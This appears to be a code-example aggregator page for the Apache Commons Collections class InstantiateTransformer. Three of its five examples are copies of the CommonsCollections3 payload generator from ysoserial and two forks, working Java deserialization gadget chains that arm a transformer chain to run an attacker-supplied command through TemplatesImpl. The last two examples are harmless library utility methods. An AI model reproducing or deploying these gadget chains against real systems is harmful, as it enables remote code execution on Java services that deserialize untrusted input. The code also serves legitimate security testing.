org.apache.commons.collections.functors.InstantiateTransformer Java Examples

The following examples show how to use org.apache.commons.collections.functors.InstantiateTransformer. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #2
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #3
Source File: CommonsCollections3.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #4
Source File: TransformerUtils.java    From Penetration_Testing_POC with Apache License 2.0 2 votes vote down vote up
/**
 * Gets a Transformer that expects an input Class object that it will instantiate.
 * 
 * @see org.apache.commons.collections.functors.InstantiateTransformer
 * 
 * @return the transformer
 */
public static Transformer instantiateTransformer() {
    return InstantiateTransformer.NO_ARG_INSTANCE;
}
 
Example #5
Source File: TransformerUtils.java    From Penetration_Testing_POC with Apache License 2.0 2 votes vote down vote up
/** 
 * Creates a Transformer that expects an input Class object that it will 
 * instantiate. The constructor used is determined by the arguments specified
 * to this method.
 *
 * @see org.apache.commons.collections.functors.InstantiateTransformer
 * 
 * @param paramTypes  parameter types for the constructor, can be null
 * @param args  the arguments to pass to the constructor, can be null
 * @return the transformer
 * @throws IllegalArgumentException if the paramTypes and args don't match
 */
public static Transformer instantiateTransformer(Class[] paramTypes, Object[] args) {
    return InstantiateTransformer.getInstance(paramTypes, args);
}